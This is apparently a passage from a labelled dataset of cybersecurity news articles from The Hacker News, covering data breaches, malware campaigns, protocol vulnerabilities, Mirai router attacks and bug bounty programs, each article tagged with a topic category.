According to Variety, the stolen files included notes on around 90 artists, including Britney Spears, Jennifer Lopez, Taylor Swift, Justin Bieber, Katy Perry, Madonna, Calvin Harris, Ariana Grande, Florida Georgia Line, One Direction, Sia, The Weeknd, and U2.

The breach was first reported by Dell Cameron of Gizmodo, who said the leaked Vevo content seems ""pretty mild,"" which contained ""weekly music charts, pre-planned social media content, and various details about the artists under the record companies' management.""

It's not clear for how long the hackers have been accessing the Vevo system, how they managed to gain access to its server, or whether they have held on other additional information, like financial, emails, and passwords.

Vevo has confirmed the security incident, saying the company ""can confirm that Vevo experienced a data breach as a result of a phishing scam via Linkedin. We have addressed the issue and are investigating the extent of exposure.""

The company also confirmed the breach had not impacted the security of its United Kingdom office.

OurMine is the same group of hackers who are known for hacking high-profile figures and companies, including Facebook CEO Mark Zuckerberg, Google CEO Sundar Pichai, Twitter CEO Jack Dorsey, Game of Thrones, Sony's PlayStation Network (PSN), Netflix, the WWE, HBO, and the most recently WikiLeaks.

OurMine is a Saudi Arabian group of self-proclaimed white hat hackers which markets itself by taking over sites and social media accounts of high-profile targets and then encourages them to contact them to buy their IT security service in an effort to protect themselves from future cyber attacks.

",Data_Breaches
"Hackers Are Offering Apple Employees $23,000 for Corporate Login Details",https://thehackernews.com/2016/02/hacking-apple-id.html,"An unsatisfied Employee may turn into a Nightmare for you and your organization.

Nowadays, installing an antivirus or any other anti-malware programs would be inadequate to beef up the security to maintain the Corporate Database.

What would you do if your employee itself backstabbed you by breaching the Hypersensitive Corporate Secrets?

Yes! There could be a possibility for an Internal Breach all the time.

Just last year, an ex-employee stole Yandex Search Engine Source Code and tried to sell it for just $29,000 in the underground market.

Over a few years, hackers have adopted various techniques ranging from Stress Attacks to Social Engineering tactics in order to gain the Classified Corporate information.

Hackers Offering $23,000 for Internal Access

Now hackers are rolling their dice for the next Deceptive Step to acquire Corporate Login Details of Irish Apple Employees in exchange of 20,000 Euro ($23,000 USD).

The current situation is being faced by the employees of Apple's European Headquarters in Cork, Ireland.

The offer had been made by the unknown hackers and criminals to the random Apple employees in their mailbox demanding the employee's Apple Login passwords in return of 20,000 Euros.
""You'd be surprised how many people get on to us, just random Apple employees,"" the anonymous employee said. ""You get emails offering you thousands [of euros] to get a password to get access to Apple"" stated.
""I could sell my Apple ID login information online for €20,000 ($23,000) tomorrow. That's how much people are trying"" another employee quoted.
This new proposal had been made to the non-lifers of the company who would not spend there. Thus, widening a fluky entry to the database.

By gaining the access to Apple Employee's Login credentials, hackers could find the jewel in their pocket for their malicious activity from which they could amass the financial profit.

Apple is considering this scam very seriously and till now, no employees had compromised his/her Login Credentials for illicit gain.

Internal Breach

One of the domestic threat to your organization is the INSIDER. According to a survey conducted by SANS last year, it is found that 71% of respondents are feared about the Insider Attack.

The consequence of the threat may even result in the liquidation of your company.

The Department of Homeland Security (DHS) and FBI also had a pressed up the issue by underlining that majority of the threats are the outcomes of an Insider.

Lack of Technical Training to the employees, Lack of Budget and inappropriate policies broaden the chances of a breach.

Hiring a Security Firm, Proper Training to all the Employees about latest threats, Shutting down of an employee Account soon after his/her Termination, Frequent changes applied in the Password, Limited Allowance of employees to sensitive docs, etc. would cover such vulnerabilities.

Now, before purchasing the high-end firewalls or Virus Destructors, just turn around and look…

...Who's at your back!

",Data_Breaches
Old School Hackers spying on European governments,https://thehackernews.com/2013/03/old-school-hackers-spying-on-european.html,"Kaspersky Lab's team of experts recently published a new research report that analyzed that Cyber criminals have targeted government officials in more than 20 countries, including Ireland and Romania with a new piece of malware called 'MiniDuke'.


In a recent attack, malware has infected government computers this week in an attempt to steal geopolitical intelligence. The computers were infected via a modified Adobe PDF email attachment, and the perpetrators were operating from servers based in Panama and Turkey.

According to Kaspersky Lab CEO Eugene Kaspersky,""I remember this style of malicious programming from the end of the 1990s and the beginning of the 2000s. I wonder if these types of malware writers, who have been in hibernation for more than a decade, have suddenly awoken and joined the sophisticated group of threat actors active in the cyber world.""


Last week Adobe released an update that patches the Adobe PDF bug (CVE-2013-6040) used in the attack. Once it was opened, the MiniDuke malware would install itself on a victim's computer. It is not known what information the attackers are targeting.

MiniDuke attacks government entities in Belgium, Brazil, Bulgaria, Czech Republic, Georgia, Germany, Hungary, Ireland, Israel, Japan, Latvia, Lebanon, Lithuania, Montenegro, Portugal, Romania, Russian Federation, Slovenia, Spain, Turkey, Ukraine, United Kingdom and United States.

The malware also compromised the computers of a prominent research foundation in Hungary, two thinktanks, and an unnamed healthcare provider in the US.

",Malware
"New 4G LTE Network Attacks Let Hackers Spy, Track, Spoof and Spam",https://thehackernews.com/2018/03/4g-lte-network-hacking.html,"Security researchers have discovered a set of severe vulnerabilities in 4G LTE protocol that could be exploited to spy on user phone calls and text messages, send fake emergency alerts, spoof location of the device and even knock devices entirely offline.

A new research paper [PDF] recently published by researchers at Purdue University and the University of Iowa details 10 new cyber attacks against the 4G LTE wireless data communications technology for mobile devices and data terminals.

The attacks exploit design weaknesses in three key protocol procedures of the 4G LTE network known as attach, detach, and paging.

Unlike many previous research, these aren't just theoretical attacks. The researchers employed a systematic model-based adversarial testing approach, which they called LTEInspector, and were able to test 8 of the 10 attacks in a real testbed using SIM cards from four large US carriers.

Authentication Synchronization Failure Attack
Traceability Attack
Numb Attack
Authentication Relay Attack
Detach/Downgrade Attack
Paging Channel Hijacking Attack
Stealthy Kicking-off Attack
Panic Attack
Energy Depletion Attack
Linkability Attack

Among the above-listed attacks, researchers consider an authentication relay attack is particularly worrying, as it lets an attacker connect to a 4G LTE network by impersonating a victim's phone number without any legitimate credentials.
This attack could not only allow a hacker to compromise the cellular network to read incoming and outgoing messages of the victims but also frame someone else for the crime.

""Through this attack the adversary can poison the location of the victim device in the core networks, thus allowing setting up a false alibi or planting fake evidence during a criminal investigation,"" the report said.

Other notable attacks reported by the researchers could allow attackers to obtain victim's coarse-grained location information (linkability attack) and launch denial of service (DoS) attack against the device and take it offline (detach attack).

""Using LTEInspector, we obtained the intuition of an attack which enables an adversary to possibly hijack a cellular device's paging channel with which it can not only stop notifications (e.g., call, SMS) to reach the device but also can inject fabricated messages resulting in multiple implications including energy depletion and activity profiling,"" the paper reads.

Using panic attack, attackers can create artificial chaos by broadcasting fake emergency messages about life-threatening attacks or riots to a large number of users in an area.

What's interesting about these attacks is that many of these can be carried out for $1,300 to $3,900 using relatively low-cost USRP devices available in the market.

Researchers have no plans to release the proof-of-concept code for these attacks until the flaws are fixed.

Although there are some possible defenses against these observed attacks, the researchers refrained from discussing one.
The paper reads: ""retrospectively adding security into an existing protocol without breaking backward compatibility often yields band-aid-like-solutions which do not hold up under extreme scrutiny.""
""It is also not clear, especially, for the authentication relay attack whether a defense exists that does not require major infrastructural or protocol overhaul,"" it adds. ""A possibility is to employ a distance-bounding protocol; realization of such protocol is, however, rare in practice.""
The vulnerabilities are most worrying that once again raise concerns about the security of the cell standards in the real world, potentially having an industry-wide impact.

",Vulnerability
US Seizes Domains Used by SolarWinds Hackers in Cyber Espionage Attacks,https://thehackernews.com/2021/06/us-seizes-domains-used-by-solarwinds.html,"Days after Microsoft, Secureworks, and Volexity shed light on a new spear-phishing activity unleashed by the Russian hackers who breached SolarWinds IT management software, the U.S. Department of Justice (DoJ) Tuesday said it intervened to take control of two command-and-control (C2) and malware distribution domains used in the campaign.
The court-authorized domain seizure took place on May 28, the DoJ said, adding the action was aimed at disrupting the threat actors' follow-on exploitation of victims as well as block their ability to compromise new systems.
The department, however, cautioned that the adversary might have deployed additional backdoor accesses in the interim period between when the initial compromises occurred, and the seizures took place last week.
""[The] action is a continued demonstration of the Department's commitment to proactively disrupt hacking activity prior to the conclusion of a criminal investigation,"" said Assistant Attorney General John C. Demers for the Justice Department's National Security Division.
""Law enforcement remains an integral part of the U.S. government's broader disruption efforts against malicious cyber-enabled activities, even prior to arrest, and we will continue to evaluate all possible opportunities to use our unique authorities to act against such threats.""
The two seized domains in question — theyardservice[.]com and worldhomeoutlet[.]com — were used to communicate and control a custom Cobalt Strike loader called NativeZone (""NativeCacheSvc.dll"") that the actors implanted on the victim networks.
The wide-scale campaign, which was detected on May 25, leveraged a compromised USAID account at a mass email marketing company called Constant Contact to send phishing emails to approximately 3,000 email accounts at more than 150 different organizations.
Once the recipients clicked on the embedded hyperlink in the email message, a sub-domain of theyardservice[.]com was used to gain an initial foothold into the victim machine, exploiting it to retrieve the Cobalt Strike backdoor to maintain persistent presence and potentially deliver additional payloads.
""The actors' instance of the Cobalt Strike tool received C2 communications via other subdomains of theyardservice[.]com, as well as the domain worldhomeoutlet[.]com,"" the DoJ said.
Microsoft attributed the ongoing intrusions to the Russian threat actor it tracks as Nobelium, and by the wider cybersecurity community under the monikers APT29, UNC2452 (FireEye), SolarStorm (Unit 42), StellarParticle (Crowdstrike), Dark Halo (Volexity), and Iron Ritual (Secureworks).
The company has since identified three more unique pieces of malware used in the infection chain, namely BoomBox, EnvyScout, and VaporRage, adding to the attackers' growing arsenal of hacking tools such as Sunburst, Sunspot, Raindrop, Teardrop, GoldMax, GoldFinder, Sibot, and Flipflop, once again demonstrating Nobelium's operational security priorities when targeting potentially high-risk and high-visibility environments.
While BoomBox (""BOOM.exe"") is a downloader responsible for downloading and executing next-stage components from an actor-controlled Dropbox account, VaporRage (""CertPKIProvider.dll"") is a shellcode loader used to download, decode, and execute an arbitrary payload fully in-memory.
EnvyScout (""NV.html""), on the other hand, is a malware dropper capable of de-obfuscating and writing a malicious ISO file to disk and is delivered to targets by way of HTML attachments to spear-phishing emails.
The attacker's pattern of changing tactics several times over the course of its latest campaign underscores the widespread damage that could be inflicted on individual victims, government agencies, non-governmental organizations, and private businesses. The intrusions also highlight Nobelium's practice of establishing access on one system or account and then using it as a jumping-off point to gain access to numerous targets.
In ""significantly"" differing from the SolarWinds hack by way of evolving its tools and tradecraft, the modus operandi enables a high level of stealth that allows them to remain undetected for extended periods of time, the researchers noted.
""Nobelium is an actor that operates with rapid operational tempo, often leveraging temporary infrastructure, payloads, and methods to obfuscate their activities,"" Microsoft said. ""Such design and deployment patterns, which also include staging of payloads on a compromised website, hamper traditional artifacts and forensic investigations, allowing for unique payloads to remain undiscovered.""

",Malware
Several Tor Exit Nodes Vulnerable To Heartbleed Bug,https://thehackernews.com/2014/04/several-tor-exit-nodes-vulnerable-to.html,"Half of the Internet fall victim to the biggest threat, Heartbleed bug and even the most popular online anonymity network Tor is also not spared from this bug.

Tor is one of the best and freely available privacy software, runs on the network of donated servers that lets people communicate anonymously online through a series of nodes that is designed to provide anonymity for users and bypass Internet censorship.

When you use the Tor software, your IP address remains hidden and it appears that your connection is coming from the IP address of a Tor exit relay or nodes, which can be anywhere in the world. An Exit relay is the final relay that Tor encrypted traffic passes through before it reaches its destination.

But some of these Tor exit nodes are running on the servers with the affected version of OpenSSL installed which are vulnerable to the critical Heartbleed Flaw. This means an attacker can grab the hidden information from the Tor network which is actually restricted by the Tor service, making it no more anonymising service.

Heartbleed is a critical bug in the OpenSSL's implementation of the TLS/DTLS heartbeat extension that allows attackers to read portions of the affected server's memory, potentially revealing users data in the plaintext, that the server did not intend to reveal.

By exploiting Heartbleed bug on the affected nodes, anyone could find the internal information relating to Tor network that could compromise the security and privacy of the whole network.

In response to this threat, Tor Project leader as well as Tor's co-developer Roger Dingledine, has rejected 380 vulnerable exit nodes suggesting on the Tor mailing list that the exit nodes running the vulnerable versions of OpenSSL should be blacklisted from the network.

""If the other directory authority operators follow suit, we'll lose about 12% of the exit capacity and 12% of the guard capacity,"" he writes on the software's mailing list.

Tor promises anonymity to its network users by using proxies to pass encrypted traffic from the source to destination, but the heartbleed bug gives all the hackers privilege to exploit a vulnerable exit node in order to obtain the traffic data, making its users exposed on the Internet.

The first list of rejected exit nodes is released by the Dingledine and he stressed that the affected nodes will not be allowed back on the network even after being upgrade.

""I thought for a while about trying to keep my list of fingerprints up-to-date (i.e. removing the !reject line once they've upgraded their openssl), but on the other hand, if they were still vulnerable as of yesterday, I really don't want this identity key on the Tor network even after they've upgraded their OpenSSL,"" Dingledine wrote.

Tor service was also targeted by the U.S. intelligence agency NSA, revealed by a classified NSA document titled 'Tor Stinks' leaked by Edward Snowden. The document shows the interest of NSA in tracking down all Tor users and monitoring their traffic.

Also the recent allegations on the agency using the Heartbleed bug from years to gather information suggests the agency may have used it to track down Tor users. Although the NSA denied the claims of exploiting the Heartbleed bug in order to gather any type of information.

Also Read: How a 19-Year-Old Teenager arrested for Exploiting the most critical Heartbleed Bug to steal private information from the Canada Revenue Agency (CRA) website.

",Vulnerability
Android Malware that can DDoS Attacks from your smartphone,https://thehackernews.com/2012/12/android-malware-that-can-ddos-attacks.html,"The Russian anti-virus vendor Doctor Web has found a new malicious program for Android which allows hacker groups to carry out mobile denial of service attacks. While it's not entirely clear how the Trojan is spread, researchers suspect that the attackers use social engineering tactics since the malware appears to disguise itself as a Google Play clone.

This malware works in the background without your knowledge. Once it is activated it searches for its command and control center and sends out information regarding your device there. One piece of information that will be sent is your phone number. The criminals will be using this number to send text messages to your phone to control the malware.

Dubbed TheAndroid.DDoS.1.origin, creates an application icon, similar to that of Google Play. If the user decides to use the fake icon to access Google Play, the application will be launched.

When it receives a DDoS attack command, the malware starts to send data packets to the specified address. ""Activities of the Trojan can lower performance of the infected handset and affect the well-being of its owner, as access to the Internet and SMS are chargeable services. Should the device send messages to premium numbers, malicious activities will cost the user even more."" they said.

I would like to advise readers to only download Android apps from official Android app stores like Google Play or the Amazon Appstore for Android, Always check the number of downloads, app rating and user reviews, Carefully review permissions before downloading and/or installing an app.

",Malware
Ubuntu's Crash Report Tool Allows Remote Code Execution,https://thehackernews.com/2016/12/ubuntu-hack.html,"No software is immune to being Hacked! Not even Linux.

A security researcher has discovered a critical vulnerability in Ubuntu Linux operating system that would allow an attacker to remotely compromise a target computer using a malicious file.

The vulnerability affects all default Ubuntu Linux installations versions 12.10 (Quantal) and later.

Researcher Donncha O'Cearbhaill discovered the security bug which actually resides in the Apport crash reporting tool on Ubuntu.

A successful exploit of this CrashDB code injection issue could allow an attacker to remotely execute arbitrary code on victim's machine. All an attacker needs is to trick the Ubuntu user into opening a maliciously booby-trapped crash file.

This would inject malicious code in Ubuntu OS's crash file handler, which when parsed, executes arbitrary Python code.
""The code first checks if the CrashDB field starts with { indicating the start of a Python dictionary,"" O'Cearbhaill explains.
""If found, Apport will call Python's builtin eval() method with the value of the CrashDB field. eval() executes the passed data as a Python expression which leads to straightforward and reliable Python code execution.""
The flawed code was introduced on 2012-08-22 in Apport revision 2464 and was initially included in release 2.6.1.

O'Cearbhaill has published the copy of his proof-of-concept (PoC) source code on GitHub.

Video Demonstration of the CrashDB Code Injection Attack

The researcher has also shared a video demonstration, showing that it is possible to gain control over the targeted Ubuntu box system using this flaw with the help of a malicious file.


O'Cearbhaill launched Gnome calculator with a simple Apport crash report file and explained that the code could be saved with the .crash extension or with any other extension that's not registered on Ubuntu.

The researcher reported the crash reporting app bug (listed as CVE-2016-9949 and a related path traversal bug as CVE-2016-9950) to the Ubuntu team, and the good news is that the team has already patched the flaw in Ubuntu on December 14 with O'Cearbhaill receiving $10,000 bounty.

Users and administrators of Ubuntu Linux desktops are strongly advised to patch their systems as soon as possible via the usual update mechanism.

",Vulnerability
Android developer said 'F-Secure can say that anything is malware',https://thehackernews.com/2013/03/google-f-secure-can-say-that-anything.html,"As the popularity of Android has boomed, more and more malware is targeting the platform. Digital miscreants are using fraudulent developer accounts on Google's Play marketplace to spread malware.

According to latest Mobile Threat report from F-Secure, Android malware continued to gain in share in 2012 and was responsible for 79 percent of all threats for the year, up from 66 percent in 2011, but Google developer responded with,""F-Secure can say that anything is malware"".
F-secure report said, In the fourth quarter alone, 96 new families and variants of Android threats were discovered, which almost doubles the number recorded in the previous quarter.

According to official Google figures, there are over 700,000 apps and games in the Play marketplace and malware on Android jumped 850 percent between 2012 and this year.

Whereas an Google Android developer reply to TechCrunch technology generalist ,""They say they detected Trojans but they didn't explain what were their effects on the system, because if they did, everyone will know they're not really Trojans that's only what they want you to think"".

F-secure report also claimed that a large share of the Android threats found in the fourth quarter was malware that generates profit through fraudulent short message service (SMS) practices, with 21 of the 96 Android threat variants found contributed by Premium SMS, a malware family that sends out messages to premium rate numbers.

""F-Secure can say that anything is malware, even 'dodgy sms' which doesn't fall under the definition of malware…. They say they detected Trojans"" Google Android developer reply.

Apple iOS on the other hand accounted for only 0.7% of all malware and Windows Mobile, BlackBerry, and J2ME devices each accounted for less than 1% of malware threats during 2012.

On other hand, Symbian still accounts for 19% of all malware despite being abandoned by Nokia, F-Secure says.

",Malware
AVX Corporation Hacked by Anonymous #OpColtan,https://thehackernews.com/2012/08/avx-corporation-hacked-by-anonymous.html,"Anonymous Operation #OpColtan have announced another attack in the name of this operation and this time its on a Manufacturer and Supplierof Electronic Components AVX Corporation (www.avx.com). AVX It's a big firm wich produce ceramic and tantalum capacitors, connectors, thick and thin film capacitors, resistors and integrated passive components.


UN accused AVX, and many other firms to be interested in illegal coltan extraction and war in DRC. According to Hackers ""Usually Coltan was stealed by war groups from Congo mines and carried out to the firms.Million of people lost their lives in Congo war, nature was destroied in order to dig coltan and a lots of gorillas were killed.Unfortunatelly UN decided to abandon the case and never punish the responsibles of the war an nature devastation.""

""AVX and other involved firms published an ethical code in 2010; they claim that they don't get tantalium from war areas.NOW a new civil war is growing up in Congo and is totally hypocrite to share DRC in different areas in order to say that some of these are war free.AVX, UN trial refused to punish you, but operationgreenrights doesn't forget.""

Hackers found SQL injection bug on the site and exploit it to extract database, finally they expose it on internet. The leak contains full database information of 2900 of the sites clients details with usernames, emails and other personal information as well as passwords which are encrypted.

""We ask for a new trial by the UN in order to invesitgate AVX's activities and other major companies in the DRC and in other war areas. Naturally, the bad working conditions of miners and the respect for the ecosystem should be investigated. At the moment, Anonymous #Operationgreenrights continues in its effort to sort out the truth about the illegal ore trade.

We are Anonymous.
We are legion.
We don't forget.
We don't forgive.
Except us!""

",Vulnerability
Anonymous Hackers Threaten Israel with 'Electronic-Holocaust' on 7th April,https://thehackernews.com/2015/03/anonymous-hacker-israel.html,"The famous cyber hacker group Anonymous has vowed an 'Electronic Holocaust' against Israel in response to what the group calls 'crimes in the Palestinian territories'.

In a spooky video ""message to Israel"" posted on YouTube March 4, Anonymous declared yet another cyber attack on April 7, which is one week before Holocaust Remembrance day.

Totally in news delivering style, the video clip shows a man wearing an Anonymous mask and threatening to take down Israeli servers and websites related to critical infrastructure next week, promising to 'erase you from cyberspace'.
""We will erase [Israel] from cyberspace in our electronic Holocaust,"" says the video. ""As we did many times, we will take down your servers, government websites, Israeli military sites, and Israeli institutions.""
The cyber activist group declared Palestinians youths as a 'symbol of freedom', and urged them to ""never give up. [Anonymous] are with you and will continue to defend you."" The group criticized the Israeli government, saying that they have not stopped ""endless human right violations"" and ""illegal settlements.""

The video subtitled in Arabic and delivered in English electronic voice, possibly to hide the identity of the real person. The footage includes images of Israeli Prime Minister Benjamin Netanyahu sitting with military leaders and members of his cabinet, as well as images from the Gaza conflict.

The video also shows images of injured Palestinian children and bombed areas that appear to date from Operation Protective Edge conducted by the Israel Defence Forces (IDF) last summer.
""[Israeli government] killed thousands of people, as in the last war against Gaza in 2014. [Israel] have shown that you do NOT respect international law,"" says the electronic voice, promising ""We are coming back to punish you again.""
""We always say expect us but you always fail. We are unexpected; we'll show on 7 April 2015 what the electronic holocaust mean…,"" the video continues.

Anonymous then continued with a message to the ""foolish Benjamin Netanyahu, and all leaders in the Zionist entities"" warning that cyber attacks on Israeli government websites, sensitive data and devices will continue ""until the people of Palestine are Free.""

In past, Anonymous has targeted Israel a number of times. A cyber attack, called OpIsrael attack, in April 2013 claimed to have caused $3 Billion worth of damage to Israel, when the group targeted about 30,000 Israeli bank accounts, 100,000 websites, 5,000 Twitter accounts and over 40,000 Facebook pages.

During Operation OpIsrael, Anonymous hacking group published the personal data of 5,000 Israeli officials over the Internet, which included names, ID numbers and personal email addresses.

Past targets of the the hacktivist group includes official websites of the Israeli prime minister, the Bank of Israel, the Israeli Defense Force (IDF), the Embassy of Israel to the United States and the Israeli President's official website.

",Cyber_Attack
Cyber Attack Knocks Nearly a Million Routers Offline,https://thehackernews.com/2016/11/mirai-router-offline.html,"Mirai Botnet is getting stronger and more notorious each day that passes by. The reason: Insecure Internet-of-things Devices.

Last month, the Mirai botnet knocked the entire Internet offline for a few hours, crippling some of the world's biggest and most popular websites.

Now, more than 900,000 broadband routers belonging to Deutsche Telekom users in Germany knocked offline over the weekend following a supposed cyber-attack, affecting the telephony, television, and internet service in the country.

The German Internet Service Provider, Deutsche Telekom, which offers various services to around 20 Million customers, confirmed on Facebook that as many as 900,000 customers suffered internet outages on Sunday and Monday.

Millions of routers are said to have vulnerable to a critical Remote code Execution flaw in routers made by Zyxel and Speedport, wherein Internet port 7547 open to receive commands based on the TR-069 and related TR-064 protocols, which are meant to use by ISPs to manage your devices remotely.

The same vulnerability affects Eir D1000 wireless routers (rebranded Zyxel Modem) deployed by Irish internet service provider Eircom, while there are no signs that these routers are actively exploited.

According to Shodan search, around 41 Million devices leave port 7547 open, while about 5 Million expose TR-064 services to the outside world.

According to an advisory published by the SANS Internet Storm Center, honeypot servers posing as vulnerable routers are receiving exploit code every 5-10 minutes for each target IP.

An intercepted packet showed how a remote code execution flaw in the <NewNTPServer> part of a SOAP request was used to download and execute a file in order to infect the vulnerable device.

Security researchers at BadCyber also analyzed one of the malicious payloads that were delivered during the attacks and discovered that the attack originated from a known Mirai's command-and-control server.
""The unusual application of TR-064 commands to execute code on routers has been described for the very first time at the beginning of November, and a few days later a relevant Metasploit module had appeared,"" BadCyber wrote in a blog post. ""It looks like someone decided to weaponize it and create an Internet worm based on Mirai code.""
It all started early October when a cyber criminal publicly released the source code of Mirai, a piece of nasty IoT malware designed to scan for insecure IoT devices – mostly routers, cameras, and DVRs – and enslaves them into a botnet network, which is then used to launch DDoS attacks.

The hacker created three separate exploit files in order to infect three different architectures: two running different types of MIPS chips and one with ARM silicon.

The malicious payloads open the remote administration interface and then attempt to log in using three different default passwords. After this is done, the exploit then closes port 7547 in order to prevent other attackers from taking control of the infected devices.

""Logins and passwords are obfuscated (or ""encrypted"") in the worm code using the same algorithm as does Mirai,"" the researchers say. ""The C&C server resides under timeserver.host domain name, which can be found on the Mirai tracker list.""

More in-depth technical details about the vulnerability can be found on ISC Sans, Kaspersky Lab, and Reverse Engineering Blog.
Deutsche Telekom has issued an emergency patch for two models of its Speedport broadband routers – Speedport W 921V, Speedport W 723V Type B – and currently rolling out firmware updates.

The company recommends its customers to power down their routers, wait for 30 seconds and then restart their routers in an attempt to fetch the new firmware during the bootup process.

If the router fails to connect to the company's network, users are advised to disconnect their device from the network permanently.

To compensate the downtime, the ISP is also offering free Internet access through mobile devices to the affected customers until the technical problem is resolved.

",Vulnerability
EBook – Creating a Large Company Security Stack on a Lean Company Budget,https://thehackernews.com/2021/06/ebook-creating-large-company-security.html,"The speed at which malicious actors have improved their attack tactics and continue to penetrate security systems has made going bigger the major trend in cybersecurity.
Facing an evolving threat landscape, organizations have responded by building bigger security stacks, adding more tools and platforms, and making their defenses more complex—a new eBook from XDR provider Cynet (read it here).
Organizations find themselves in a virtual arms race with malicious actors. Attackers find new, stealthier ways to penetrate an organization's defenses, and organizations build higher walls, buy more technologies to protect themselves, and expand their security stacks.
Money is a key component of security success – a tough reality for leaner organizations that might not have the seemingly endless budgets of larger corporations and enterprises.
The question of what leaner security teams could do about it used to be ""not a lot,"" but today, that's hardly the case. Even though the cybersecurity industry includes hundreds of tools, platforms, and services organizations can use to defend themselves, leaner companies are more and more discovering that having all the bells and whistles isn't always a necessity.
However, finding the right tool to replace all those technologies requires some forethought. Moreover, it requires some understanding of what goes into a large company's security stack.
What's in a Large Company Security Stack?
Modern security stacks have multiple moving parts and require specialized tools to manage the disparate platforms and service organizations install. This usually requires a dedicated team or team member to manage and ensure that things are running smoothly.
More importantly, most organizations today follow the layered protection principle – no tool is 100% effective, so redundancies are crucial for when one fails.
Practically speaking, this means that most organizations will have many (if not all) of the following tools installed:
Next-generation antivirus (NGAV)
Endpoint protection (EPP)
Endpoint detection and response (EDR)
User and entity behavior analysis (UEBA)
Network traffic analysis (NTA)
Email protection
Deception technology
Cloud access security broker (CASB)
This also means that for most organizations, the volume of data, alerts, and signals produced daily is a major concern. The next question, then, is how do organizations manage these mountains of alerts from disparate sources?
The answer is usually using a security information and event management (SIEM) platform, which can centralize and harmonize the different alerts and signals most cybersecurity tools produce into a unique location.
However, this is more of an organizational tool than a way to reduce the number of alerts. Moreover, it also adds to the resource and financial costs of a security stack, and it still requires manual intervention constantly.
Automation, but at what cost?
To get around this issue, organizations turn to security orchestration, automation, and response (SOAR) tools. SOAR platforms can automate substantial portions of the incident response process, including remediation and some of the investigation.
However, they are expensive, still require manual management, and are not always a viable option.
How XDRs can help
For lean organizations, building a large, multi-layered, and complex security stack can produce more work than it removes. Management, education, regular maintenance, and updates can take up much of a security team's valuable time.
The real answer, then is not to go bigger, but more flexible – and that's where extended detection and response (XDR) comes in.
Instead of multiple layers and displays, organizations can focus on a single pane of glass view and reduce their maintenance, management, and updating efforts.
XDRs usually achieve this with three main features:
Prevention and detection: One of the biggest advantages an XDR offers is that it can actually reduce and manage the volume of alerts an organization must sift through. XDRs include many (and in some cases all) of these tools natively. This is beneficial in two ways. First, it means that all signals and data are standardized and already integrated. This makes it easier to process them, create a more reliable sorting and investigation method, and keep them under control. Second, it can reduce the number of false positives and provide a much faster response since the tool doing the detection is the same one responding to a potential threat.
Automated response: Another key differentiator for XDRs is that they can automate large portions of an organization's cybersecurity efforts out of the box. By including detection, endpoint protection, and network analysis, XDRs can respond more quickly than non-centralized stacks and can get the right response more often. They also offer a much broader range of responses and remediation tools.
Managed detection and response (MDR): Finally, most XDRs will offer an MDR service to assist organizations in handling many of the tasks that can't be automated. While many vendors will charge for this service, simply including it in an XDR offering means that teams can prioritize their limited resources into the area of most impact. MDRs can also help close both resource and knowledge gaps, helping offer a more well-rounded and robust defense.
You can read more about how XDRs can help organizations get better security on a budget here.

",Malware
Google Increases Bug Bounty Payouts by 50% and Microsoft Just Doubles It!,https://thehackernews.com/2017/03/google-bug-bounty.html,"Well, there's some good news for hackers and bug bounty hunters!

Both tech giants Google and Microsoft have raised the value of the payouts they offer security researchers, white hat hackers and bug hunters who find high severity flaws in their products.

While Microsoft has just doubled its top reward from $15,000 to $30,000, Google has raised its high reward from $20,000 to $31,337, which is a 50 percent rise plus a bonus $1,337 or 'leet' award.

In past few years, every major company, from Apple to P*rnHub and Netgear, had started Bug Bounty Programs to encourage hackers and security researchers to find and responsibly report bugs in their services and get rewarded.

But since more and more bug hunters participating in bug bounty programs at every big tech company, common and easy-to-spot bugs are hardly left now, and if any, they hardly make any severe impact.

Sophisticated and remotely exploitable vulnerabilities are a thing now, which takes more time and effort than ever to discover.

So, it was needed to encourage researchers in helping companies find high-severity vulnerabilities that have become harder to identify.

Until now, Google offered $20,000 for remote code execution (RCE) flaws and $10,000 for an unrestricted file system or database access bugs. But these rewards have now been increased to $31,337 and $13,337, respectively.

For earning the top notch reward of $31,337 from the tech giant, you need to find command injections, sandbox escapes and deserialization flaws in highly sensitive apps, such as Google Search, Chrome Web Store, Accounts, Wallet, Inbox, Code Hosting, Google Play, App Engine, and Chromium Bug Tracker.

Types of vulnerabilities in the unrestricted file system or database access category that can earn you up to $13,337 if they affect highly sensitive services include unsandboxed XML eXternal Entity (XXE) and SQL injection bugs.

Since the launch of its bug bounty program in 2010, Google has paid out over $9 Million, including $3 Million awarded last year.

Microsoft has also increased its bug bounty payouts from $20,000 to $30,000 for vulnerabilities including cross-site scripting (XSS), cross-site request forgery (CSRF), unauthorized cross-tenant data tampering or access (for multi-tenant services), insecure direct object references injection, server-side code execution, and privilege escalation bugs, in its Outlook and Office services.

Both the tech giants are trying their best to eliminate any lucrative vulnerability or backdoor into their software and products to avoid any hacking attempts and make them more secure.

Hackers will get the payout reward after submitting the vulnerabilities along with a valid working proof-of-concept.

So, what are you waiting for? Go and Grab them all!

",Vulnerability
Amnesia:33 — Critical TCP/IP Flaws Affect Millions of IoT Devices,https://thehackernews.com/2020/12/amnesia33-critical-tcpip-flaws-affect.html,"Cybersecurity researchers disclosed a dozen new flaws in multiple widely-used embedded TCP/IP stacks impacting millions of devices ranging from networking equipment and medical devices to industrial control systems that could be exploited by an attacker to take control of a vulnerable system.
Collectively called ""AMNESIA:33"" by Forescout researchers, it is a set of 33 vulnerabilities that impact four open-source TCP/IP protocol stacks — uIP, FNET, picoTCP, and Nut/Net — that are commonly used in Internet-of-Things (IoT) and embedded devices.
As a consequence of improper memory management, successful exploitation of these flaws could cause memory corruption, allowing attackers to compromise devices, execute malicious code, perform denial-of-service (DoS) attacks, steal sensitive information, and even poison DNS cache.
In the real world, these attacks could play out in various ways: disrupting the functioning of a power station to result in a blackout or taking smoke alarm and temperature monitor systems offline by using any of the DoS vulnerabilities.
The flaws, which will be detailed today at the Black Hat Europe Security Conference, were discovered as part of Forescout's Project Memoria initiative to study the security of TCP/IP stacks.
The development has prompted the CISA ICS-CERT to issue a security advisory in an attempt to provide early notice of the reported vulnerabilities and identify baseline preventive measures for mitigating risks associated with the flaws.
Millions of devices from an estimated 158 vendors are vulnerable to AMNESIA:33, with the possibility of remote code execution allowing an adversary to take complete control of a device, and using it as an entry point on a network of IoT devices to laterally move, establish persistence, and co-opt the compromised systems into botnets without their knowledge.
""AMNESIA:33 affects multiple open source TCP/IP stacks that are not owned by a single company,"" the researchers said. ""This means that a single vulnerability tends to spread easily and silently across multiple codebases, development teams, companies and products, which presents significant challenges to patch management.""
Because these vulnerabilities span across a complex IoT supply chain, Forescout cautioned it's as challenging it is to determine which devices are affected as they are hard to eradicate.
